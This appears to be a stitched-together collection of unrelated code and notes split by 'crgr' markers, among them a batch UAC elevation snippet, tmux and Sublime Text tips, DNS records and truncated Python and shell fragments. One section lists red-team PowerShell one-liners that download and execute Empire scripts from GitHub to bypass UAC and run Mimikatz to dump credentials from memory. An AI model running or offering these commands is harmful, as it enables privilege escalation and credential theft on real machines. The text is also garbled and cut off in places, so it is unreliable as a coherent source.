crgr

set -e

set -u

# hat-tips:
# - http://codeghar.wordpress.com/2011/12/14/automated-customized-debian-installation-using-preseed/
# - the gist

# required packages (apt-get install)
# xorriso

crgr

@echo off
::::::::::::::::::::::::::::
set "params=Problem_with_elevating_UAC_for_Administrator_Privileges"&if exist "%temp%\getadmin.vbs" del "%temp%\getadmin.vbs"
fsutil dirty query %systemdrive%  >nul 2>&1 && goto :GotPrivileges
::    The following test is to avoid infinite looping if elevating UAC for Administrator Privileges failed
If "%1"=="%params%" (echo Elevating UAC for Administrator Privileges failed&echo Right click on the script and select 'Run as administrator'&echo Press any key to exit...&pause>nul 2>&1&exit)
cmd /u /c echo Set UAC = CreateObject^("Shell.Application"^) : UAC.ShellExecute "%~0", "%params%", "", "runas", 1 > "%temp%\getadmin.vbs"&cscript //nologo "%temp%\getadmin.vbs"&exit
:GotPrivileges
::::::::::::::::::::::::::::
color 1F

crgr

# Description: 
#    Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

# Import Mimikatz Module to run further commands

crgr

# in a shell:
tmux set -g prefix2 C-a
tmux bind-key C-a send-prefix -2

# or in a ~/.tmux.conf
set -g prefix2 C-a
bind-key C-a send-prefix -2

crgr

Domain

We need some records on our domain (mydomain.com) DNS for connections. Add these records:

t1              IN      NS      t1ns.mydomain.com. ; note final the dot!
t1ns            IN      A       OUR_SERVER_IP

Server

crgr

#!/usr/bin/python

import socket
import struct
import sys

# We want unbuffered stdout so we can provide live feedback for
# each TTL. You could also use the "-u" flag to Python.
class flushfile(file):
    def __init__(self, f):

crgr

Sublime Text 2 – Useful Shortcuts (Mac OS X)

General

⌘T	go to file
⌘⌃P	go to project
⌘R	go to methods
⌃G	go to line
⌘KB	toggle side bar
⌘⇧P	command prompt